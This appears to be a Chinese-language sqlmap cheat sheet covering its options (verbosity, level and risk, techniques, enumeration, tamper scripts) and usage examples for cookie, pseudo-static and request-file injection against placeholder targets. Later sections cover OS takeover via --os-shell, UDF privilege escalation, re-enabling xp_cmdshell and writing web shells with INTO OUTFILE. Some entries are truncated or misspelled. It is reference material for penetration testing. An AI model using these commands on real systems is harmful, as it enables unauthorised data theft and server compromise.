sqlmap简介
当给sqlmap一个URL,它会干些什么?
1)判断可注入的参数
2)判断可以用那种SQL注入技术来注入
3)识别出哪种数据库
4)根据用户选择,读取哪些数据
1 | --purge #清除历史缓存 |
选项摘要
输出信息的详细程度
1 | -v #共7个级别(0~6),默认为1 |
- 0:只输出 Python 出错回溯信息,错误和关键信息
- 1:增加输出普通信息和警告信息
- 2:增加输出调试信息
- 3:增加输出已注入的 payloads
- 4:增加输出 HTTP 请求
- 5:增加输出 HTTP 响应头
- 6:增加输出 HTTP 响应内容
目标
1 | -d #直连数据库,"mysql://root:root@192.168.0.8:3306/testdb" |
请求
指定连接目标地址的方式
1 | --method=METHOD #强制使用提供的 HTTP 方法(例如:PUT) |
注入
以下选项用于指定要测试的参数
提供自定义注入 payloads 和篡改参数的脚本
1 | -p TESTPARAMETER #指定需要测试的参数 |
检测
sqlmap 使用的 payloads 直接从文本文件 xml/payloads.xml
中载入。
根据该文件顶部的相关指导说明进行设置,如果 sqlmap 漏过了特定的注入,
你可以选择自己修改指定的 payload 用于检测。
level有5级,越高检测越全,默认为 1
–level 1 检测Get和Post
–level 2 检测HTTP Cookie
–level 3 检测User-Agent和Referer
–level 4 检测
–level 5 检测 HOST 头
risk有3级,级别越高风险越大,默认为1
–risk 2 会在默认的检测上添加大量时间型盲注语句测试
–risk 3 会在原基础上添加
OR
类型的布尔型盲注 ,可能会update导致修改数据库
技术
以下选项用于调整特定 SQL 注入技术的测试方法
1 | --technique=TECH #使用的 SQL 注入技术(默认为“BEUSTQ”) |
枚举
以下选项用于获取数据库的信息,结构和数据表中的数据。
1 | -a, --all #获取所有信息、数据 |
用例
从文件读取HTTP请求,GET和POST都可以
1 | sqlmap -r "burp.txt" -p "username" #-p 指定存在注入的参数 |
Cookie注入
1 | sqlmap -u "http://www.vuln.com" --cookie "id=11" --level 2 |
当防火墙,对请求速度做了限制
1 | sqlmap -u "http://www.vuln.com/post.php?id=1" --delay=10 |
伪静态注入
1 | sqpmap -u http://victim.com/id/666*.html --dbs #在html扩展名前加个'*' |
访问文件系统
仅对MySQL、MSSQL、PosgreSQL有效
数据库用户有读写权限,有目录读写文件权限
1 | sqlmap -u url --is-dba |
接管操作系统
仅对MySQL、MSSQL、PosgreSQL有效
数据库用户有读写权限,有目录读写文件权限
sqlmap 能够在数据库所在服务器的操作系统上运行任意的命令
1 | sqlmap -u "URL" --os-shell #获取系统交互shell或--os-cmd=id执行系统命令 |
原理 (opens new window)就是上传一个upload木马后,再上传一个cmd shell;
当 –os-shell 退出后, 会调用后门脚本删除上传文件后,进行自删除。
在 MySQL 和 PostgreSQL 中,sqlmap 可以上传一个包含两个用户自定义函数
分别为
sys_exec()
和sys_eval()
的共享库(二进制文件)然后在数据库中创建出两个对应函数,并调用对应函数执行特定的命令,并允许用户选择是否打印出相关命令执行的结果。
在 Microsoft SQL Server 中,sqlmap 会利用
xp_cmdshell
存储过程:如果该存储过程被关闭了(Microsoft SQL Server 的 2005 及以上版本默认关闭),sqlmap 则会将其重新打开;
如果该存储过程不存在,sqlmap 则会重新创建它。
当用户请求标准输出,sqlmap 将使用任何可用的 SQL 注入技术(盲注、带内注入、报错型注入)去获取对应结果。
相反,如果无需标准输出对应结果,sqlmap 则会使用堆叠查询注入(Stacked queries)技术执行相关的命令。
如果堆叠查询没有被 Web 应用识别出来,并且 DBMS 为 MySQL,
假如后端 DBMS 和 Web 服务器在同一台服务器上,
则仍可以通过利用
SELECT
语句中的INTO OUTFILE
,在 根目录可写目录中写shell
UDF提权
使用选项 --udf-inject
并按照说明进行操作即可;
如果需要,也可以使用 --shared-lib
选项通过命令行指定共享库的本地文件系统路径。
否则 sqlmap 会在运行时向你询问路径。
此功能仅对 MySQL 或 PostgreSQL 有用。
tamper脚本
1 | use age:sqlmap.py --tamper="模块名.py" |
1 | apostrophemask #将单引号 url 编码 |